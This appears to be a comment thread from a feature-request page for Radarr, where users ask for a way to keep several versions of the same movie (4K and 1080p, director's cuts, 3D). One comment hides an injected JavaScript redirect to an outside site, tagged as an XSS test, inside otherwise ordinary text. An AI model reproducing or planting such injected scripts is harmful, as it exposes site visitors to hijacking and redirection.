desimaniac commented about 3 years ago

I would like to be able to download a 2GB RARBG movie and the traditional 8/9GB 1080p movie along with it so that my plex users can change the version to better suite their needs.

| SWu commented about 3 years ago

This could also be useful for different re-releases of a movie, e.g. cinema release vs. director's cut.

| ChrisColotti commented over 2 years ago

mostly I want to maintain a 1080P copy and a UHD copy of the same movie in the same PLEX location so Plex can decide what version to serve up.

| eb98jdb commented over 2 years ago

I can't endorse this enough esp. to have a 1080 and 4k version of the same movie

NickBolles commented over 2 years ago

I think an even better use case is a 3d version and non-3d version. Would love to have this!

| SirAce135 commented over 2 years ago

I too would really like this feature as I have a lot of 10bit HDR 2160P files and would love to keep 1080p Remux files as well.

Thank You very much.

| justinhow commented over 2 years ago

I agree would be great to have a 1080 and 4k version of the same movie for example.

| thejacer87 commented about 2 years ago

ya i would like this too, need it for extended version, directors etc.... not sure why you guys want 4k and 1080 versions. can't plex transcode. i guess it just means you care less about the storage, or maybe ur server cant transcode as well.

doesn't really matter, either way, we all want the same thing, different version available :D

i made the issue in github here: https://github.com/Radarr/Radarr/issues/2387#issuecomment-356385074

and referenced the naming convention that emby (and plex) uses: https://github.com/MediaBrowser/Wiki/wiki/Movie%20naming#multi-version-movies

| bassrock commented about 2 years ago

This feature would be amazing for multiple editions as well as the 4k and 1080p versions. @thejacer87, most of us need to versions as the server isn't strong enough to transcode 4k UHD content for those that cant direct play.

| alex-w-k commented about 2 years ago

Yeah as many people here said, I'd really love a 1080p and 4k version of each movie and have that be the cutoff, so the cutoff isn't met if BOTH aren't satisfied.

| jserdaru commented about 2 years ago

Same here, NAS not powerful enough to transcode to Non direct play devices. Would love you be able to keep multiple (4K/1080p) versions. Also sees a use-case for multiple versions of the same movie (Director's cut etc.).

rpx91 commented about 2 years ago

Same - I'd like to keep a 720p version for mobile use and streaming while the 2160p remux is for my 65" OLED.

greenembrace commented about 2 years ago

Add my thumbs up on this as well. I have 10 versions of Alice in Wonderland with some in the same year.

| Endless01 commented about 2 years ago

this would be nice for me as well i have old Disney movies in Norwegian in DVD format, i would like to keep them for my children but i would also have them in English for my own pleasure and collection in 1080p or 720p

+1 Please make this happen! :)

| robwala commented about 2 years ago

This would be a great feature! +1

| designgears commented about 2 years ago

+1 for this because hotio is so dramatic about it.

| spitcool commented almost 2 years ago

getting different star wars versions, and i can't create multiple entries and don't want radarr deciding which one i should trump

| marcel5454 commented almost 2 years ago

Is this a feature we will see in the foreseeable future?

| t-zone06 commented almost 2 years ago

Must have! For now i only use Radarr for UHD.

| hmdrmch commented almost 2 years ago

+1 for this!

| espenja commented over 1 year ago

Almost renamed my Alien Directors Cut to Alien. Differentiating between different releases of a movie is a must. Please implement this feature. That being said, it doesn't look like TMDB differentiates between different releases either.

| e2zippo commented over 1 year ago

Would also love to see this since I download both 4k for internal use and 1080p for Plex users!

peewee5 commented over 1 year ago

+1 for this as UHD is becoming much more prevalent

spaceboy76 commented over 1 year ago

edthepenguin commented over 1 year ago

+1 for this as well. UHD for home, webrips for remote streams

| vb543 commented over 1 year ago

| e2zippo commented over 1 year ago

Would love to have this so I can have UDH for local playback and 1080p for my users!

| Blu-Haze commented over 1 year ago

This seems like it should be a pretty standard feature these days.

| Dulanic commented over 1 year ago

++ Server can't handle transcoding 4K for users.

| KrunchMuffin commented over 1 year ago

+1

| c-i-nolan commented over 1 year ago

I definitely would love this. I like having a 4k library I can hide from remote users which contains dupe copies of 1080p movies which are viewable by everyone, which prevents a ton of transcoding and allows me to use a much less powerful machine for multiple concurrent users.

| henningBunk commented about 1 year ago

Would love this feature to have multiple versions of a movie: Logan/Black black and white Star Wars/Star Wars despecialized edition etc.

| AaronG85 commented about 1 year ago

2+ years ago this was suggested, would love to see this finally come a reality.

colfin22 commented about 1 year ago

This is something we absolutely need

| JesseWV commented about 1 year ago

I'm having to spin up a 2nd Radarr instance for 4k titles as well. This feature would be great.

| VeniceNerd commented about 1 year ago

Please make this happen!

| Aisub commented about 1 year ago

Yes, would be amazing +1

noconnor29 commented about 1 year ago

For media collection, versioning seems an essential component. Thanks for your work!

| nstead commented about 1 year ago

I really need this feature too. My Plex Server struggles to transcode 4K (and it's only a couple of years old, and is an 8-bay NAS, so would cost a small fortune to replace. I really would like to be able to keep 1080p and 4K versions.

Also, despite the fact that 3D TVs are no longer being made, I still have two, and like to use them! 3D Movies are still being made - 28 of them this year, and 5 planned so far for 2020. But of course I can't watch 3D on my Tablet. It's a pain that even if I download them to different folders, Radarr deletes the 2D version when I download the 3D one, and vice versa.

guotao commented about 1 year ago

If it were too difficult to allow as the folder under root, location.href="https://blogs.kainy.cn/?from=feathubXSS2" how about a new macro/variable that lets us do something like {Movie TitleThe:1} that will use the first letter of the title, or some other customization (and NOT require {Movie Title} as a mandatory field)。。

| agr8lemon commented 9 months ago

I would love to see this as well! 3D / non-3d, directors cut / non-directors cut, 4k / 1080p are just some examples of use.

| joeynotjoe commented 9 months ago

Yes. Very tired of having to remove the series from Radarr if I need to add a second version. As everyone else has mentioned, there are plenty of rather legitimate reasons for needing this feature. Thank you!

renarde3 commented 9 months ago

+1 Would love to see this feature added please.

| JohanG2012 commented 9 months ago

+1 This would also be nice if you have diffearent versions of movies dubbed in different languages, for example English, Thai and Swedish.

| KingKrab23 commented 8 months ago

+1 it makes sense with different cuts

| twhiting9275 commented 8 months ago

+1 . I have multiple copies of multiple movies, in multiple versions (theatrical, directors, etc), and would love to have these added to Sonarr

| jagooch commented 7 months ago

+1 I have theatrical , directors, extended cuts of the same movie. I seems like a {release} tag would be a good solution. I'm ok with some additional complications like separate movie folders for separate versions. That actually makes sense to me.

| CupricReki commented 7 months ago

+1, would love to see this

| skylineKid712 commented 7 months ago

I'd love to see this implemented, especially for alternate cuts (Director's, Ultimate, etc.)

| skelletondotnet commented 6 months ago

I would love this as well. I would especially like to see keeping multiple different Language versions, and different cuts.

| thudneraan commented 6 months ago

I would like this feature as well, it would be graceful if implemented this way: A option let user decide what quality to keep in profile settings.

example 1, User configured a UHD profile include below qualities: 1080P-webdl 1080P-bluray 1080p-remux 2160p-webdl 2160p-bluray 2160p-remux - (Keep) - (Cutoff) eventually only 2160p-remux will be kept when cutoff is met.

example 1, User configured a UHD profile include below qualities: 1080P-webdl 1080P-bluray 1080p-remux - (Keep) 2160p-webdl 2160p-bluray 2160p-remux - (Keep) - (Cutoff) but 1080p-remux and 2160p-remux will be kept when cutoff is met.

| Relki commented 5 months ago

I'm new to Radarr, but I'm pulling in my existing Plex library. And I do have multiple formats of many movies. Mainly, 4k vs 1080p and even some low bandwidth 1080p and h264 vs h265 codec formats. With several clients, I don't want to stream my 70GB 4K version of a movie to a cell phone with a 1080p display. That puts a ton of strain on the Plex server to down mix on the fly so I allow the user to pick a format they want to stream. Also, I store my 4k movies in a different location than my HD movies but in Plex, they show up as just 1 movie with many versions. To summarize, I'd like to be able to for each movie, add a Quality Profile, and pick a location I want that quality profile to map to. Repeat this process for addition additional profiles to same movie.

darfrisk commented 5 months ago

Currently have to run 2 instances of radarr in order to have 4k and 1080p movie versions. As it stands I cannot even have special editions and normal ones living side-by-side. As such this feature would really help!

| cwilcoxc commented 4 months ago

Absolutely believe that this should exist as a feature. My high bitrate/bandwidth 1080p Remux files (20-60gb) are often transcoded down to 720p on some users Plex clients due to bandwidth issues. Having smaller, lower quality 1080p files would negate the need to transcode and potentially get a lower quality version than necessary. A solution would be to have 1080p Remux, 1080p (8gb), as well as 4k and 720p versions.

Danskleraftiva commented 2 months ago

Having the ability for radarr to acquire multiple versions of the same movie would be amazing. This would allow for theatrical, director's cut, and extended releases, all managed by radarr in one user interface/library. I have read others running multiple instances of radarr, though this seems cumbersome.

| skels130 commented about 1 month ago

This would be especially useful given HDR and lack of tone mapping in plex. Anything that gets upgraded or downloaded @4k HDR is great for local to my TVs that support it, but anyone/anytime it's streamed remotely, HDR isn't generally well supported and it wrecks the colors. So being able to say "Grab 4k HDR, but if you do, also grab a 1080p copy" would be amazing compared my current solution of manually downloading 1080p copies to anything HDR

| icopp commented 6 days ago

I would really like having a clean way to manage regular vs extended edition as separate copies (especially for stuff like Lord of the Rings where there can literally be a several hour difference in runtime), or the cases where some movies can have five or six different variations like Blade Runner and the Alien series.
